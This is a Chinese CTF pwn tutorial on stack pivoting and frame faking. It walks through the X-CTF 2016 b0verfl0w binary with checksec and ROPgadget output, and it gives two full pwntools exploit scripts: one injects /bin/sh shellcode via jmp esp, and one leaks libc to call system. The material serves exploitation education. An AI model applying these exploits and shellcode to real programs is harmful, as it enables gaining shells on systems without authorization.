stack pivoting

原理

该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后在相应位置进行ROP。一般来说,我们可能在下述情况使用劫持栈指针。

  • 可以控制栈溢出的字节数较少,难以构造较长的ROP链。
  • 开启了PIE保护,栈地址未知,我们可以将栈劫持到已知的区域。
  • 其他漏洞难以利用,需要进行转换,比如将栈劫持到推空间,从而在堆上写rop及进行堆漏洞利用。

此外,栈指针劫持有以下几个要求:

  • 可以控制程序执行流.
  • 可以控制sp指针,一般来说控制栈指针会使用rop,常见的控制栈指针的gadgets一般为:
1
pop rsp/esp

例子

链接:https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/stackoverflow/stackprivot/X-CTF%20Quals%202016%20-%20b0verfl0w/b0verfl0w

checksec查看保护:

1
2
3
4
5
6
7
8
bi0x@ubuntu:~/桌面/pwn/otherROP/pivoting$ checksec b0verfl0w
[*] '/home/bi0x/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/otherROP/pivoting/b0verfl0w'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

32位文件,无NX保护,无PIE。

IDA打开:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
signed int vul()
{
char s; // [esp+18h] [ebp-20h]

puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(&s, 50, stdin);
printf("Hello %s.", &s);
fflush(stdout);
return 1;
}

fgets 函数存在栈溢出漏洞,但能溢出的字符只有 50 - 0x20 - 4 = 14字节,可以控制栈溢出的字节数较少,难以构造较长的ROP链。这里我们就考虑 stack pivoting 。由于程序本身并没有开启堆栈保护,所以我们可以在栈上布置shellcode 并执行。基本利用思路如下

img

  • 利用栈溢出布置 shellcode,需要小于0x20字节的shellcode。
  • shellcode不够0x20个字节的用任意字符填充。
  • 虚假的ebp地址。
  • 返回地址,ret相当于pop eip;jmp eip 指令
    • 执行到ret时,esp指向ret,pop eip执行完时,esp + 4,指向 sub esp 指令处。
    • 因为ret地址处为 jmp esp。所以将这个地址pop出来赋给 eip,jmp eip,跳到 eip 处,eip为 jmp esp,则再跳到 esp 处,就相当于跳到了 sub esp 指令处。
  • sub esp offset;jmp esp 这里两条指令,相当于使esp指向 shellcode 处,跳转 esp 执行shellcode。
  • 所以说第一个jmp指令为跳转到 sub 指令处,而第二个 jmp 指令为跳转到 shellcode 处。
  • 需要注意的是:栈无论什么时候都不会被初始化,也不会被清空。所以 shellcode 在内存中依然存在,可以控制 esp 来执行 shellcode。

所以还需要查找一个 jmp esp 的 gadgets。

1
2
3
4
5
6
7
8
9
10
11
bi0x@ubuntu:~/桌面/pwn/otherROP/pivoting$ ROPgadget --binary b0verfl0w --only 'jmp|ret' 
Gadgets information
============================================================
0x080483ab : jmp 0x8048390
0x080484f2 : jmp 0x8048470
0x08048611 : jmp 0x8048620
0x08048504 : jmp esp
0x0804836a : ret
0x0804847e : ret 0xeac1

Unique gadgets found: 6

sub esp offset;offset的确定

  • 0x20的 shellcode + padding
  • 0x4的 ebp
  • 0x4的 ret
  • 加起来为0x28

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.log_level = "DEBUG"
sh = process('b0verfl0w')
#http://shell-storm.org/shellcode/files/shellcode-841.php
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"

jmp_esp = 0x08048504
sub_esp_jmp = asm("sub esp,0x28;jmp esp") #汇编操作

payload = shellcode_x86 + (0x24 - len(shellcode_x86)) * 'a' + p32(jmp_esp) + sub_esp_jmp

sh.recv()
sh.sendline(payload)
sh.interactive()

还有一种泄露libc_main_start地址,确定libc版本,再使用system地址也可打通。

  • 通过puts函数泄露libc_main_start地址
  • 确定libc版本
  • 计算system地址与/bin/sh地址
  • 最长的rop链仅需要12个字节,小于14个字节,可以打通。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *

sh = process('b0verfl0w')

libc_main_addr = 0x0804a020
puts_addr = 0x080483d0
start_addr = 0x08048400

payload = 'a' * 36 + p32(puts_addr) + p32(start_addr) + p32(libc_main_addr)

sh.recv()
sh.sendline(payload)
last_four = sh.recvline()

last = last_four[-5:-1]
#切片将输出的libc_main_start地址输出来
real_libc_main = u32(last)

print "addr:" + hex(real_libc_main)
obj = LibcSearcher("__libc_start_main", real_libc_main)
addr_base = real_libc_main - obj.dump("__libc_start_main")
system_addr = addr_base + obj.dump("system")
binsh_addr = addr_base + obj.dump("str_bin_sh")

payload = 0x24 * 'a' + p32(system_addr) + 'aaaa' + p32(binsh_addr)

sh.recv()
sh.sendline(payload)
sh.interactive()

frame faking

正如这个技巧名字所说的那样,这个技巧就是构造一个虚假的栈帧来控制程序的执行流。

原理

概括地讲,我们在之前讲的栈溢出不外乎两种方式

  • 控制程序 EIP
  • 控制程序 EBP

其最终都是控制程序的执行流。在 frame faking 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。一般来说其 payload 如下

1
buffer padding|fake ebp|leave ret addr|

即我们利用栈溢出将栈上构造为如上格式。这里我们主要讲下后面两个部分

  • 函数的返回地址被我们覆盖为执行 leave ret 的地址,这就表明了函数在正常执行完自己的 leave ret 后,还会再次执行一次 leave ret。
  • 其中 fake ebp 为我们构造的栈帧的基地址,需要注意的是这里是一个地址。一般来说我们构造的假的栈帧如下
1
2
3
4
fake ebp
|
v
ebp2|target function addr|leave ret addr|arg1|arg2

这里我们的 fake ebp 指向 ebp2,即它为 ebp2 所在的地址。通常来说,这里都是我们能够控制的可读的内容。

下面的汇编语法是 intel 语法。

在我们介绍基本的控制过程之前,我们还是有必要说一下,函数的入口点与出口点的基本操作

入口点

1
2
push ebp  # 将ebp压栈
mov ebp, esp #将esp的值赋给ebp

出口点

1
2
leave
ret #pop eip,弹出栈顶元素作为程序下一个执行地址

其中 leave 指令相当于

1
2
mov esp, ebp # 将ebp的值赋给esp
pop ebp # 弹出ebp

下面我们来仔细说一下基本的控制过程。

  1. 在有栈溢出的程序执行 leave 时,其分为两个步骤:

    • mov esp, ebp ,这会将 esp 也指向当前栈溢出漏洞的 ebp 基地址处。
    • pop ebp, 这会将栈中存放的 fake ebp 的值赋给 ebp。即执行完指令之后,ebp便指向了ebp2,也就是保存了 ebp2 所在的地址。
  2. 执行 ret 指令,会再次执行 leave ret 指令。

  3. 执行 leave 指令,其分为两个步骤

    • mov esp, ebp ,这会将 esp 指向 ebp2。
    • pop ebp,此时,会将 ebp 的内容设置为 ebp2 的值,同时 esp 会指向 target function。
  4. 执行 ret 指令,这时候程序就会执行 target function,当其进行程序的时候会执行

    • push ebp,会将 ebp2 值压入栈中,

    • mov ebp, esp,将 ebp 指向当前基地址。

此时的栈结构如下

1
2
3
4
ebp
|
v
ebp2|leave ret addr|arg1|arg2
  1. 当程序执行时,其会正常申请空间,同时我们在栈上也安排了该函数对应的参数,所以程序会正常执行。

  2. 程序结束后,其又会执行两次 leave ret addr,所以如果我们在 ebp2 处布置好了对应的内容,那么我们就可以一直控制程序的执行流程。

可以看出在 fake frame 中,我们有一个需求就是,我们必须得有一块可以写的内存,并且我们还知道这块内存的地址,这一点与 stack pivoting 相似。